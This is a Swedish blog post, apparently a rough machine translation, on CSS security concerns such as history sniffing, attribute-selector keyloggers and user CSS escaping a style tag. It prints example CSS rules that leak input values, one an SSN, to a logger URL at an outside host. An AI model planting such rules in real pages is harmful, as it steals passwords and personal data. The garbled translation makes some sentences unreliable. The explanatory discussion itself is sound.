CSS Säkerhetsproblem

0
7

Läs inte den rubriken och bli orolig. Jag tror inte att CSS är ett särskilt farligt säkerhetssynpunkt och, för det mesta, jag tror inte du behöver oroa dig för det.

Men varje gång på ett tag, artiklar tenderar att cirkulera och att få lite uppmärksamhet så att möjligheterna av vad CSS kan göra som kan överraska eller oroa dig.

Här är en liten roundup.

De Besökt Länk Oro

Detta går till så här:

  1. Du sätter en länk till en viss sida på din webbplats, säger <a href=”https://i-tickle-pigs.com”>Kittla Grisar</a>
  2. Du stil besökte staten på den länk som a:visited { color: pink; } vilket inte är en standard user agent stil.
  3. Du testa den beräknade stil för den länken.
  4. Om det är rosa, den här användaren är en gris tickler.
  5. Du betänkande som gris kittlande information tillbaka till någon server någonstans och förmodligen tredubbla sin gris att äga en försäkring som säkert grisar kommer att drabbas av extrem känslomässig stress över alla de kittlande.

Du kan även ha möjlighet att göra det helt i CSS, eftersom att besökt stil kan ha som background-image: url(/data-logger/tickle.php); som bara efterfrågas av gris ticklers.

Orolig? Bli inte, webbläsare har alla förhindrat den från att vara möjligt.

Keylogger

Detta går till så här:

  1. Det finns en ingång på sidan. Kanske ett lösenord ingång. Skrämmande!
  2. Du sätter en logger skript som värde för den ingående bakgrunden på bild, men också en miljard fler väljare precis som att sådana som loggern kommer att samla in och rapportera vissa eller alla av lösenord.

input[värde^=”a”] { background: url(logger.php?v=a); }

Det är inte så lätt. Värdet för attributet av en ingång som inte ändras bara för att du skriver i den. Det gör det ibland i ramar som Reagerar dock, så om du skulle halka detta CSS till en inloggningssida som drivs av att Reagera och kodat på det sättet då, teoretiskt, denna CSS-drivna keylogger som skulle kunna fungera.

Men… i så fall, att JavaScript körs på att sidan ändå. JavaScript är 1000× mer om än CSS för saker som detta. En keylogger i JavaScript är bara ett par rader kod att titta på för knapptryckning evenemang och rapporterar dem via Ajax.

Tredje part och XSS injiceras inline-JavaScript är nu stoppable med Content Security Policy (CSP)… men så är CSS.

De Uppgifter Som Tjuv

Detta går till så här:

  1. Om jag kan få några av mina ondsinte CSS till en sida där du har autentiserade till en webbplats…
  2. Och det webbplats visar känslig information som en social security number (SSN) i en förfylld form…
  3. Jag kan använda attribut-selektorer för att räkna ut det.

input#ssn[value=”123-45-6789″] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

En miljard omkopplare och du har täckt alla möjligheter!

Inline style block whoopsie

Jag vet inte om jag skulle skylla på CSS för att det nödvändigtvis, men tänk:

<style>
… Släpp i vissa användargenererat grejer …
</style>

Kanske du tillåter användaren CSS-anpassning där. Det är en attack vektor, som de kunde stänga den stilen tag, öppna en script-tagg, och skriva ondsinte JavaScript.

Jag är säker på att det är en massa mer

Fick ’em? Andel ’em.

Måla mig lite skeptisk till hur livrädd jag ska vara med CSS säkerhetsproblem. Jag vill inte bagatellisera säkerhet saker för mycket (särskilt från tredje part oro) eftersom jag inte är en expert och säkerhet är av yttersta vikt, men samtidigt, jag har aldrig hörde en gång av CSS är den angreppspunkten för något utanför en tanke motion. Utbilda mig!